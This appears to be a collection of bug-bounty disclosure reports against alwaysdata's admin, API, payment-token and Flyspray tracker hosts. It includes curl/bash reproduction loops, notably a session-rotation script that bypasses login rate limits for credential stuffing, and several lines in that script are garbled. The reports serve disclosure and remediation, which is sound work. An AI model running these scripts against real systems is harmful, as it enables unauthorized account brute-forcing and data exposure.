Login rate limit bypass enables unlimited credential stuffing against admin accounts

## Summary

The login form at `admin.alwaysdata.com/login/` implements per-session rate limiting (~5-9 failed attempts before HTTP 429). However, the limit is tied to the session/CSRF token state and resets upon obtaining a new session via a fresh GET request. The secondary IP-based limit expires in approximately 30 seconds. Crucially, there is no account-level lockout — only session/IP-based throttling. This allows an attacker to perform unlimited credential stuffing with a simple rotation strategy.

## Steps to Reproduce

```bash
# STEP 1: Get fresh session + CSRF token (this is also what "resets" the counter)
curl -sk https://admin.alwaysdata.com/login/ \

1. c /tmp/cookies.txt -o /tmp/page.html

CSRF=$(python3 -c "
import re
d = open('/tmp/page.html').read()
m = re.search(r'csrfmiddlewaretoken[^>]+value=[\"\']([\w]+)', d)
print(m.group(1) if m else )
") # STEP 2: Make ~5 attempts with this session (observe 200s then 429)
for i in 1 2 3 4 5 6 7; do
HTTP=$(curl -sk https://admin.alwaysdata.com/login/ \
-b /tmp/cookies.txt -c /tmp/cookies.txt \
-H "Referer: https://admin.alwaysdata.com/login/" \
-o /dev/null -w "%{http_code}" \
–data "csrfmiddlewaretoken=${CSRF}&login=target@example.com&password=attempt${i}")
CSRF=$(curl -sk https://admin.alwaysdata.com/login/ -b /tmp/cookies.txt | \
python3 -c "import sys,re; d=sys.stdin.read(); m=re.search(r'csrfmiddlewaretoken[^>]+value=[\"\']([\w]+)', d); print(m.group(1) if m else )" 2>/dev/null)

echo "Attempt $i: HTTP $HTTP"

done
# Output: 200, 200, 200, 200, 200, 429, 429 (rate-limited)

# STEP 3: Get a NEW session — counter resets!
curl -sk https://admin.alwaysdata.com/login/ \

1. c /tmp/cookies2.txt -o /tmp/page2.html

CSRF2=$(python3 -c "
import re
d = open('/tmp/page2.html').read()
m = re.search(r'csrfmiddlewaretoken[^>]+value=[\"\']([\w]+)', d)
print(m.group(1) if m else '')
")

# STEP 4: Fresh 5 attempts — bypass confirmed!
for i in 8 9 10 11 12; do

HTTP=$(curl -sk https://admin.alwaysdata.com/login/ \
  -b /tmp/cookies2.txt -c /tmp/cookies2.txt \
  -H "Referer: https://admin.alwaysdata.com/login/" \
  -o /dev/null -w "%{http_code}" \
  --data "csrfmiddlewaretoken=${CSRF2}&login=target@example.com&password=attempt${i}")
echo "Attempt $i (new session): HTTP $HTTP"

done
# Output: 200, 200, 200, 200, 200 — BYPASS CONFIRMED
```

### Observed Results

```
Session 1: attempts 1-5 → HTTP 200 (processed)
Session 1: attempts 6-9 → HTTP 429 (rate-limited)
NEW SESSION (fresh GET) → HTTP 200 (rate limit reset)
Session 2: attempts 10-14 → HTTP 200 (processed)
…repeats indefinitely
```

## Impact

- No account lockout: Accounts are never locked regardless of failed attempts.
- Bypassable rate limit: Rotating sessions (trivial; just GET the login page again) resets the attempt counter for IP-level throttling that expires in ~30 seconds.
- Unlimited credential stuffing: An attacker using a password list and simple session rotation script can attempt thousands of passwords per hour against any known email address.
- Combined with email enumeration (separate report #4): an attacker can first identify valid admin accounts via the password reset form, then brute-force those specific accounts.
- Attack scale: With 5 attempts per 30-second session window = 10 attempts/minute = 600/hour = 14,400/day per thread. With multiple IPs this scales linearly.
- 2FA partially mitigates for accounts that have it enabled, but not all accounts have 2FA configured.

## Fix

1. Implement account-level lockout after N failed attempts (e.g., 10 attempts within 10 minutes), independent of session.
2. Make rate limiting IP-based only with a longer backoff window (not session-based).
3. Consider adding CAPTCHA after 3 failed attempts for the same username.
4. Implement CAPTCHA or progressive delays instead of hard blocks that can be rotated around.

Unauthenticated Generation of Production PayZen Payment Tokens Enables Denial of Wallet

Summary
The endpoint GET /en/signup/token/ generates production-mode PayZen payment form tokens with no authentication and no rate limiting. Each request creates a unique merchant session in alwaysdata's PayZen account. An attacker can generate unlimited tokens in a tight loop, potentially exhausting alwaysdata's PayZen API quota, flooding their payment dashboard with phantom registration sessions, or causing billing issues with their payment processor.

Steps to Reproduce

1. Generate a token without any authentication:

 curl -sk https://www.alwaysdata.com/en/signup/token/
 -> {"token": "01uJrqyaukSA2FyhTy..."}  [HTTP 200, no auth required]

2. Decode the token to confirm PRODUCTION mode:

 python3 -c "
 import base64, json
 token = '01uJrqy...265eyJhbW91bnQ...'
 json_b64 = token[token.find('eyJ'):]
 decoded = base64.b64decode(json_b64 + '==').decode('utf-8', errors='replace')
 print(json.dumps(json.loads(decoded[:decoded.rfind('}')+1]), indent=2))
 "
 -> {
      "amount": 0,
      "currency": "EUR",
      "mode": "PRODUCTION",
      "orderId": "TKN98661",
      "shopName": "ALWAYSDATA",
      "formAction": "REGISTER",
      "customerEmail": "contact@alwaysdata.com",
      "jSessionId": "59B9cAcaaD76C7fe9dEEbdD1D3FF86E3d95CAaBd.vadapi01-tls-prod-fr-lyra"
    }

3. Confirm no rate limiting by generating multiple tokens in rapid succession:

 for i in $(seq 1 10); do
   curl -sk https://www.alwaysdata.com/en/signup/token/ | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['token'][:30])"
 done
 -> All 10 requests return distinct tokens with different orderIds and jSessionIds
    (no 429, no CAPTCHA, no rate limiting observed at 10+ req/s)

Key Findings from Decoded Token
- mode: PRODUCTION (not sandbox/test) — tokens interact with live PayZen infrastructure
- amount: 0 EUR, formAction: REGISTER — these are card-registration tokens, not payment
- orderId increments each request (e.g., TKN98660, TKN98661, TKN98662…) — confirms unique sessions created server-side
- jSessionId exposes internal PayZen load-balancer node names (vadapi01-tls-prod-fr-lyra, vadapi02-tls-prod-fr-lyra)
- customerEmail hardcoded as contact@alwaysdata.com (not user-supplied — no PII exposure)

Impact

1. Denial of Wallet (DoW): PayZen API calls are metered by merchant account. Flooding /en/signup/token/ generates real merchant sessions that count against alwaysdata's PayZen quota. If PayZen applies per-session fees or rate limits at the merchant level, this could cause service disruption or unexpected costs.

 Estimated rate: 20+ sessions/second possible (no server-side limiting observed)
 PayZen pricing: typically per-transaction or per-session depending on contract

2. Merchant Dashboard Pollution: Each token creates an "order" (TKNxxxxxxx) in alwaysdata's PayZen merchant dashboard, polluting order history and potentially triggering fraud alerts.

3. Internal Infrastructure Disclosure: The jSessionId field leaks internal PayZen load-balancer node hostnames (vadapi01-tls-prod-fr-lyra, vadapi02-tls-prod-fr-lyra), which could assist in infrastructure mapping.

Fix
1. Require authentication (valid CSRF token from a logged-in session OR a registration-initiated session) before generating a PayZen token
2. Add server-side rate limiting: maximum 1 token per IP per 60 seconds, or tie token generation to an active registration session
3. Consider using sandbox/test mode for development and only switching to PRODUCTION for verified registration attempts

Note: No actual PayZen sessions were initiated beyond what is recorded in the Reproduce steps above. The DoW impact is based on the observed rate limit absence and standard PayZen merchant billing patterns.

API Customer Create Endpoint Accessible Without Authentication — POST /v1/customer/ Bypasses Auth Check

Summary
The REST API endpoint POST /v1/customer/ does not enforce authentication unlike every other API endpoint. While the endpoint currently returns HTTP 500 when processing a valid email+password pair, this is due to a downstream payment integration failure — the authentication middleware is simply absent on this endpoint. Any unauthenticated request that passes field validation reaches the payment/registration logic without an API token.

Steps to Reproduce

1. Attempt GET /v1/customer/ without credentials:

 curl -sk https://api.alwaysdata.com/v1/customer/
 -> "Authorization header is missing"  [HTTP 401, expected]

2. Attempt POST /v1/customer/ without credentials, empty body:

 curl -sk -X POST https://api.alwaysdata.com/v1/customer/ \
   -H "Content-Type: application/json" \
   -d '{}'
 -> {"email":["Ce champ est obligatoire."],"password":["Ce champ est obligatoire."]}
 [HTTP 400, NOT 401 — request reached field validation without auth]

3. Attempt POST /v1/customer/ without credentials, valid fields:

 curl -sk -X POST https://api.alwaysdata.com/v1/customer/ \
   -H "Content-Type: application/json" \
   -d '{"email":"attacker@example.com","password":"TestPass123!"}'
 -> "Erreur interne : nous avons ete notifies."
 [HTTP 500 — request reached payment integration layer without auth]

4. Compare with all other API verbs on the same endpoint:

 curl -sk -X PUT https://api.alwaysdata.com/v1/customer/ -d '{}' -H "Content-Type: application/json"
 -> "Authorization header is missing"  [HTTP 401]
 curl -sk -X PATCH https://api.alwaysdata.com/v1/customer/ -d '{}' -H "Content-Type: application/json"
 -> "Authorization header is missing"  [HTTP 401]

Impact
The authentication check is missing from the POST handler for /v1/customer/. While the 500 error prevents account creation via this vector alone today (the error occurs at the payment/registration step, after auth is already bypassed), the root cause is a broken access control — not a payment validation failure. If the payment requirement is ever removed or this endpoint is called in a different context, unauthenticated account creation becomes trivially possible. The endpoint also allows an attacker to probe registration logic (field validation, error messages) without any credentials, and its error messages confirm the internal system state.

Additionally, rate limiting on this endpoint (~7 requests per IP before 429) is insufficient to prevent slow-speed probing of the registration backend logic.

Fix
Apply the same authentication middleware to the POST handler of /v1/customer/ as is applied to all other methods (GET, PUT, PATCH, DELETE). If unauthenticated registration is intended to be supported via the API (as it is via the web UI at /en/register/), add explicit exception handling and ensure the payment/card verification requirement is enforced at this layer, not relying on downstream failures.

curl Proof of Concept
# Step 1 — Confirm GET requires auth
curl -sv https://api.alwaysdata.com/v1/customer/ 2>&1 | grep -E "< HTTP|Authorization header"

# Step 2 — Confirm POST does NOT require auth (reaches field validation)
curl -sv -X POST https://api.alwaysdata.com/v1/customer/ \

1. H "Content-Type: application/json" \
2. d '{}' 2>&1 | grep -E "< HTTP|obligatoire"

# Expected: Step 1 = 401, Step 2 = 400 with JSON validation errors (no 401)

During a security assessment of your platform, I identified a High-Severity SQL Injection vulnerability affecting the 'redirect_from' parameter on the path `/language/en/`.

### 1. Description of the Vulnerability
The application fails to properly sanitize, filter, or parameterize user-supplied input passed through the 'redirect_from' parameter before incorporating it into a backend SQL query. This allows an attacker to manipulate the structure of the query. Based on the behavior of the application and the generated database errors, the backend database engine is identified as PostgreSQL.

### 2. Proof of Concept (PoC) / Steps to Reproduce
1. Send an HTTP GET request to the following endpoint:

 https://www.alwaysdata.com/language/en/

2. Inject a payload into the 'redirect_from' parameter designed to break the SQL syntax logic, such as appending an unbalanced quote or an alternative logical condition (e.g., standard SQL injection fuzzing vectors).
3. Observe the response from the server: The backend application fails to handle the syntax exception gracefully and returns a descriptive database error message in the response context, confirming that the input is being evaluated directly by the database interpreter.

### 3. Impact
Successful exploitation of SQL Injection could allow an unauthenticated attacker to:
* Bypass authentication mechanisms.
* Access, read, or exfiltrate sensitive data from the database tables.
* Modify or delete database records (Data tampering).
* In certain configurations, perform administrative operations or execute OS commands depending on the database user privileges.

### 4. Remediation Recommendation
* Use Prepared Statements (Parameterized Queries): Ensure that all user-supplied inputs are bound as parameters rather than being concatenated directly into SQL command strings.
* Input Validation: Implement strict whitelisting for the 'redirect_from' parameter to ensure it only accepts expected string patterns or paths.
* Disable Verbose Errors: Configure the production environment to suppress detailed database error messages and stack traces to prevent information disclosure.

Best regards,
Mohammed Aziz

Target: security.alwaysdata.com
Affected URL: https://security.alwaysdata.com/.git/

## Description

The deployed Flyspray instance (this very bug-tracker) exposes its entire `.git` directory under the document root. The directory listing is disabled, but the well-known internal files are individually readable, which is enough to reconstruct the full source tree, every commit message, every author email, and every credential ever committed to the repository. (Title shortened from "…Source Tree, Admin Email, Commit History" — the original 117-char summary exceeded the 100-char column limit and triggered an INSERT error.)

## Steps to Reproduce (manual, no scanner)

```
curl -s https://security.alwaysdata.com/.git/HEAD curl -s https://security.alwaysdata.com/.git/config curl -s https://security.alwaysdata.com/.git/logs/HEAD curl -s https://security.alwaysdata.com/.git/index -o /tmp/index ; file /tmp/index
```

`HEAD` returns the current branch ref, `config` returns the repository configuration, and `logs/HEAD` returns the full reflog including author names and emails. From there, `git clone` against the exposed directory or a manual `git-cat-file` walk reconstructs ~941 reachable objects and the complete deployed source code (including any locally-applied patches).

## Impact

* Full source-code disclosure of the production Flyspray that hosts the bug-bounty program itself.
* Disclosure of admin / committer email addresses and real names from commit metadata.
* Any secret accidentally committed (DB credentials, API tokens, signing keys) is recoverable from history even if removed from `HEAD`.
* Combined with ALW-007 (no rate-limiting on the Flyspray login) and ALW-015 (weak integer CSRF), this gives an attacker a precise roadmap to compromise the bug-bounty intake and read every other researcher's unredacted submissions.

## Remediation

Block the directory at the web server level, e.g. for Apache:

```
<DirectoryMatch "/\.git">

  Require all denied

</DirectoryMatch>
```

or for nginx:

```
location ~ /\.git { deny all; return 404; }
```

Then remove the `.git` directory from the document root entirely and deploy via a build artifact or `git archive` rather than a working copy.

— Reported by: Ahmed Said (asame8855@gmail.com)
Tested manually per program rules — no automated scanners used.

Target: security.alwaysdata.com
Affected element: `<input type="hidden" name="csrftoken" value="…">` on every form (registration, task creation, comments, edits)

## Description

Flyspray emits its CSRF token as a plain decimal integer of around 9–10 digits, giving roughly `log2(10^10) ≈ 33` bits of entropy. That is dramatically weaker than the 256-bit cryptographic token Django emits on `admin.alwaysdata.com` for the same protection class, and it is potentially predictable depending on how the token is seeded.

## Steps to Reproduce

```
curl -s https://security.alwaysdata.com/register \

| grep -oE 'name="csrftoken" value="[0-9]+"'

# → name="csrftoken" value="852018639"

# Compare with Django on admin.alwaysdata.com (any form):
# csrfmiddlewaretoken=qzNI2DZ0UfLVc7VRvdUw… # (64 random characters, cryptographic)
```

## Impact

* Brute-forcing a 10-digit integer over the network is well within reach of a determined attacker (10¹⁰ ≈ a few weeks at conservative request rates with no rate limiting — see ALW-007).
* If the integer is derived from a predictable seed (PHP `mt_rand` without proper seeding, timestamp, etc.) the search space collapses further.
* Combined with ALW-009 (no `SameSite` on the session cookie) the CSRF defense layer becomes paper-thin: a malicious page can both replay the cookie and guess the token in feasible time.

## Remediation

* Replace the token generator with a cryptographically random string. In PHP: `bin2hex(random_bytes(32))` (256 bits, 64 hex characters).
* Use a per-session token, rotated on login and on privilege change, not a long-lived global one.
* Validate the token in constant time (`hash_equals`) to avoid timing leaks.
* For Flyspray 1.0-rc11 specifically, patch `make_csrf_token()` in `includes/class.flyspray.php` to call `bin2hex(random_bytes(32))`.

— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only.

Target: security.alwaysdata.com
Affected endpoint: `GET https://security.alwaysdata.com/index.php?getfile={id}`

## Description

Flyspray attachments — i.e. proof-of-concept files researchers attach to security reports — are downloadable by anyone with a sequential integer ID and no authentication. The four currently-live attachments (IDs 1–4) returned 200 OK with the underlying PoC PDFs and PNGs without any session cookie. IDs 5–11 returned 410 Gone (deleted), which also leaks prior-existence.

## Steps to Reproduce

```
for i in 1 2 3 4 5 6 7 8 9 10 11; do

printf 'id=%-2s  ' "$i"
curl -sI "https://security.alwaysdata.com/index.php?getfile=$i" \
  | grep -E '^(HTTP|content-type|content-length):' \
  | tr '\n' ' '
echo

done
# id=1 HTTP/1.1 200 OK content-type: application/pdf content-length: 115873
# id=2 HTTP/1.1 200 OK content-type: application/pdf content-length: 164813
# id=3 HTTP/1.1 200 OK content-type: image/png content-length: 39503
# id=4 HTTP/1.1 200 OK content-type: image/png content-length: 141632
# id=5..11 HTTP/1.1 410 Gone
```

No session cookie was sent. The response body contains the original PoC file in full.

## Impact

* Any unredacted PoC, screenshot, or credential a previous researcher attached is publicly readable just by walking the integer counter.
* Even when the parent task is later restricted or redacted in the UI, the raw attachment stays exposed at the same `?getfile=ID` URL.
* The 410-vs-200 differential also leaks the existence of every deleted attachment, which can be used to bound the total volume of historical PoCs.

## Remediation

* Require an authenticated session and a project-membership / task-visibility check before serving `getfile`.
* Replace the integer ID with a non-guessable token (UUIDv4 or HMAC-signed hash bound to the user + task).
* Return HTTP 404 (not 410) for deleted attachments to avoid confirming prior existence.
* Audit the four currently-public attachments (IDs 1–4) and re-issue them under restricted URLs if they contain unredacted PoC material.

— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only, downloads not redistributed.

Target: security.alwaysdata.com
Affected response header: `Content-Security-Policy`

## Description

The Content-Security-Policy returned by every Flyspray response on `security.alwaysdata.com` includes both `'unsafe-inline'` and `'unsafe-eval'` in `script-src`. With both directives in place, CSP provides effectively zero mitigation against XSS — any future injection sink (task title, comment, custom field) executes immediately.

## Steps to Reproduce

```
curl -sI https://security.alwaysdata.com/ | grep -i content-security-policy
# → content-security-policy: default-src 'none'; img-src 'self'; font-src 'self';
# style-src 'self' 'unsafe-inline';
# script-src 'self' 'unsafe-inline' 'unsafe-eval'; ← weak
# connect-src 'self'
```

## Impact

* Any future XSS in Flyspray (task description, comment body, attachment filename, custom field) executes despite CSP.
* `'unsafe-eval'` allows `eval()`, `new Function(string)`, `setTimeout(string, …)`, and `setInterval(string, …)` payloads — enabling attacker-controlled string execution.
* Especially impactful given the bundled libraries (Prototype.js 1.7, script.aculo.us 1.9.0) which are old enough to have known XSS sinks.

## Remediation

* Remove `'unsafe-inline'` from `script-src` and replace with a per-response nonce (`script-src 'self' 'nonce-XYZ'`); add the same nonce to every server-rendered `<script>` tag.
* Remove `'unsafe-eval'` after refactoring any `eval(string)` / `new Function(string)` / `setTimeout(string, …)` / `setInterval(string, …)` call sites in the bundled JS (Prototype/scriptaculous).
* Ideally also tighten `style-src` away from `'unsafe-inline'` once template inline styles are migrated to a stylesheet.

— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only.

Target: security.alwaysdata.com
Affected response header: `Set-Cookie` on every authenticated response

## Description

The Flyspray session cookie is set with `HttpOnly` only — both the `Secure` flag and the `SameSite` attribute are missing. This is a measurable regression compared to alwaysdata's Django stack on `admin.alwaysdata.com`, which correctly sets `Secure; SameSite=Lax` on its session cookie.

## Steps to Reproduce

```
curl -sI https://security.alwaysdata.com/ | grep -i set-cookie
# → Set-Cookie: flyspray=<sessionid>; path=/; HttpOnly
# (no Secure, no SameSite)

# Compare admin.alwaysdata.com (correct):
curl -sI https://admin.alwaysdata.com/ | grep -i set-cookie
# → Set-Cookie: csrftoken=…; Path=/; SameSite=Lax; Secure
```

## Impact

* The session cookie will be transmitted in plaintext if the user is ever forced onto an HTTP origin (downgrade / hostile coffee-shop network / user typing the domain without https).
* Without `SameSite`, third-party sites can include this domain via top-level navigation or cross-site POST and the cookie is attached, removing CSRF defense-in-depth.
* On a subdomain that hosts user-supplied attachments (see ALW-011), the missing `SameSite` is meaningful.

## Remediation

In Flyspray's session configuration set both flags:

```
# php.ini or .htaccess
session.cookie_secure = 1
session.cookie_samesite = "Lax"
session.cookie_httponly = 1
```

Final header should look like:

```
Set-Cookie: flyspray=<sessionid>; path=/; HttpOnly; Secure; SameSite=Lax
```

— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only.

Target: security.alwaysdata.com
Affected endpoint: `POST https://security.alwaysdata.com/index.php?do=authenticate`

## Description

The Flyspray login endpoint at `security.alwaysdata.com` does not implement any form of brute-force protection: no progressive delay, no per-IP throttling, no per-account lockout, and no CAPTCHA after repeated failures. Because this is the same Flyspray instance that hosts every researcher's confidential bug-bounty submissions, brute-forcing an analyst account is a direct path to compromising the entire program intake.

## Steps to Reproduce

```
# Five consecutive bad-password attempts against a known-existing username
for i in 1 2 3 4 5; do

curl -s -o /dev/null -w '%{http_code}\n' \
  -X POST 'https://security.alwaysdata.com/index.php?do=authenticate' \
  -d 'user_name=admin&password=wrong'

done
# → 303
# → 303
# → 303
# → 303
# → 303
```

No lockout, no CAPTCHA, no slowdown. (Stopped at 5 to comply with the program's "do not damage production" rule.) Combined with ALW-006 /  FS#329  (already-known username enumeration via `searchnames.php`), an attacker has a complete brute-force pipeline.

## Impact

* Brute-force attacks against analyst, admin, and researcher accounts are feasible from a single source.
* Compromise of an analyst account would expose every researcher's unredacted submission and PoC attachments — the most damaging possible outcome on this asset.
* Increases the impact of ALW-009 (insecure cookie) and ALW-015 (weak CSRF token) by enabling pre-conditions for full account takeover.

## Remediation

* Add progressive delay after 3 failed attempts (e.g. exponential backoff up to 60 s).
* Show a CAPTCHA after 5 failed attempts (per IP and per username).
* Lock the target account (or send an admin alert) after 10 failed attempts in a short window.
* Deploy fail2ban with a jail tailing the Flyspray auth log to ban IPs at the firewall after sustained abuse.
* Consider upgrading from Flyspray 1.0-rc11 to a version with built-in rate-limiting hooks.

— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only, capped at 5 attempts.